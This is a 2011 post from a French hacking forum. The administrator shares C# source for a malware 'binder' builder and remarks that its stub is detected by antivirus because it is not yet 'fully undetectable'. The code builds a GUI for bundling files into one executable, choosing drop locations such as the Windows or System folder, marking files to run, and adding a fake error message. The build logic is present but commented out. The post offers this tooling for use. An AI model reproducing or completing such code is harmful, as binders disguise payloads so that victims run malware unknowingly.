Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: Source Binder non FUD C# ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 14:36 (2011)    Sujet du message: Source Binder non FUD C# Répondre en citant

Voilà j'ai trouver une source d'un binder non FUD en C#. Je l'ai tester et il marche:




Le stub est détecter comme virus, normale il n'est pas FUD.


  1. using System;  
  2. using System.Collections.Generic;  
  3. using System.ComponentModel;  
  4. using System.Data;  
  5. using System.Drawing;  
  6. using System.Text;  
  7. using System.Windows.Forms;  
  8. using System.IO;  
  9. namespace JABT  
  10. {  
  11.     public partial class Form1 : Form  
  12.     {  
  13.         public string fakeErr = "False";  
  14.         public string customStub = "False";  
  15.         public string customIcon = "False";  
  16.         public bool configured = false;  
  17.         public Form1()  
  18.         {  
  19.             InitializeComponent();  
  20.         }  
  21.   
  22.         private void addToolStripMenuItem_Click(object sender, EventArgs e)  
  23.         {  
  24.             OpenFileDialog lol2 = new OpenFileDialog();  
  25.             lol2.ShowDialog();  
  26.             if (!File.Exists(lol2.FileName))  
  27.             {  
  28.                 return;  
  29.             }  
  30.   
  31.             ListViewItem item = new ListViewItem(lol2.FileName);  
  32.             item.SubItems.Add("False");  
  33.             item.SubItems.Add("Not set");  
  34.             item.SubItems.Add(new FileInfo(lol2.FileName).Length.ToString());  
  35.             item.SubItems.Add("False");  
  36.             listView1.Items.Add(item);  
  37.         }  
  38.   
  39.         private void buildToolStripMenuItem_Click(object sender, EventArgs e)  
  40.         {  
  41.             fBuild frm = new fBuild(this);  
  42.             frm.ShowDialog();  
  43.             //statusL.Text = "10% Checking settings...";  
  44.             //foreach (ListViewItem list in listView1.Items) //Loopa igenom varje fil.  
  45.             //{  
  46.             //    if (list.SubItems[2].Text == "Not set")  
  47.             //    {  
  48.             //        MessageBox.Show("Set the extract path for every file.", "Build", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);  
  49.             //        return;  
  50.             //    }  
  51.             //}  
  52.             //statusL.Text = "20% Loading stub...";  
  53.   
  54.             //byte[] bin = JABT.Properties.Resources.Stub1; //Ladda stuben från resource  
  55.             //int stubSize = Convert.ToInt32(bin.Length); //Kolla stubens längd  
  56.             //File.Delete(Application.StartupPath + "\\output-tcb.exe"); //Ta bort eventuellt fil  
  57.             //StreamWriter sw = new StreamWriter(Application.StartupPath + "\\output-tcb.exe"); //Initiera skrivström  
  58.             //statusStrip1.Text = "Writing stub...";  
  59.             //foreach (byte bit in bin) //Loopa igen varje bit i bin[]  
  60.             //{  
  61.             //    sw.BaseStream.WriteByte(bit); //Skriva bit till output-tcb.exe  
  62.             //}  
  63.             //statusL.Text = "40% Writing files...";  
  64.             //foreach (ListViewItem list in listView1.Items) //Loopa igenom varje fil.  
  65.             //{  
  66.             //    StreamReader sr2 = new StreamReader(list.Text);//Initiera läsström  
  67.             //    BinaryReader br2 = new BinaryReader(sr2.BaseStream);  
  68.             //    byte[] bin2 = br2.ReadBytes(Convert.ToInt32(sr2.BaseStream.Length));//Läs filen  
  69.             //    br2.Close();  
  70.             //    sr2.Close();  
  71.             //    foreach (byte bit in bin2)//Loopa igen varje bit i bin[]  
  72.             //    {  
  73.             //        sw.BaseStream.WriteByte(bit);//Skriva bit till output-tcb.exe  
  74.             //    }  
  75.             //}  
  76.             //statusL.Text = "60% Writing settings...";  
  77.             //byte[] start = ASCIIEncoding.ASCII.GetBytes("|&&" + stubSize.ToString() + "|" + fakeErr + "#"); //Stubens inställningar  
  78.             //foreach (byte bit in start)  
  79.             //{  
  80.             //    sw.BaseStream.WriteByte(bit); //Skriva bit till output-tcb.exe  
  81.             //}  
  82.             //foreach (ListViewItem list in listView1.Items) //Loopa igenom varje fils instälningar och skriv till output-tcb.exe  
  83.             //{  
  84.   
  85.             //    string property;  
  86.             //    property = list.SubItems[3].Text + "|" + list.SubItems[2].Text + "|" + list.SubItems[1].Text + "|" + System.Text.RegularExpressions.Regex.Replace(list.SubItems[0].Text, @"^.*\\", "") + "#"; //Filens inställningar sparas i denna string  
  87.             //    byte[] settings = ASCIIEncoding.ASCII.GetBytes(property); //Inställningarna konverteras till bytes  
  88.             //    foreach (byte bit in settings) //Samma procedur som innan  
  89.             //    {  
  90.             //        sw.BaseStream.WriteByte(bit);  
  91.             //    }  
  92.             //}  
  93.   
  94.             //statusL.Text = "80% Closing stream...";  
  95.             //sw.Close(); // Stäng filströmmen!  
  96.             //statusL.Text = "100% Complete!"; //Klar!  
  97.         }  
  98.   
  99.         private void removeToolStripMenuItem_Click(object sender, EventArgs e)  
  100.         {  
  101.             listView1.FocusedItem.Remove();  
  102.         }  
  103.   
  104.         private void exitToolStripMenuItem_Click(object sender, EventArgs e)  
  105.         {  
  106.             this.Close();  
  107.         }  
  108.   
  109.         private void executeToolStripMenuItem_Click(object sender, EventArgs e)  
  110.         {  
  111.             if (listView1.FocusedItem.SubItems[1].Text == "False")  
  112.             {  
  113.                 listView1.FocusedItem.SubItems[1].Text = "True";  
  114.             }  
  115.             else  
  116.             {  
  117.                 listView1.FocusedItem.SubItems[1].Text = "False";  
  118.             }  
  119.         }  
  120.   
  121.         void listView1_SelectedIndexChanged(object sender, System.EventArgs e)  
  122.         {  
  123.   
  124.         }  
  125.   
  126.         private void windowsFolderToolStripMenuItem_Click(object sender, EventArgs e)  
  127.         {  
  128.             listView1.FocusedItem.SubItems[2].Text = "Windows";  
  129.         }  
  130.   
  131.         private void systemFolderToolStripMenuItem_Click(object sender, EventArgs e)  
  132.         {  
  133.             listView1.FocusedItem.SubItems[2].Text = "System";  
  134.         }  
  135.   
  136.         private void executableFolderToolStripMenuItem_Click(object sender, EventArgs e)  
  137.         {  
  138.             listView1.FocusedItem.SubItems[2].Text = "Application";  
  139.         }  
  140.   
  141.         private void temporaryFolderToolStripMenuItem_Click(object sender, EventArgs e)  
  142.         {  
  143.             listView1.FocusedItem.SubItems[2].Text = "Temporary";  
  144.         }  
  145.   
  146.         private void compressToolStripMenuItem_Click(object sender, EventArgs e)  
  147.         {  
  148.             if (listView1.FocusedItem.SubItems[4].Text == "False")  
  149.             {  
  150.                 listView1.FocusedItem.SubItems[4].Text = "True";  
  151.                 MessageBox.Show("Note: Sometimes the output file-size will grow with this option. (blame it on .net's gzip-compression)", "Compress", MessageBoxButtons.OK, MessageBoxIcon.Information);  
  152.             }  
  153.             else  
  154.             {  
  155.                 listView1.FocusedItem.SubItems[4].Text = "False";  
  156.             }  
  157.   
  158.         }  
  159.   
  160.         private void aboutToolStripMenuItem_Click(object sender, EventArgs e)  
  161.         {  
  162.             fAbout frm = new fAbout();  
  163.             frm.ShowDialog();  
  164.         }  
  165.   
  166.         private void configureToolStripMenuItem_Click(object sender, EventArgs e)  
  167.         {  
  168.             fConf frm = new fConf(this);  
  169.             frm.ShowDialog();  
  170.         }  
  171.   
  172.         private void Form1_Load(object sender, EventArgs e)  
  173.         {  
  174.   
  175.         }  
  176.     }  
  177. }  




_________________


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 14:36 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com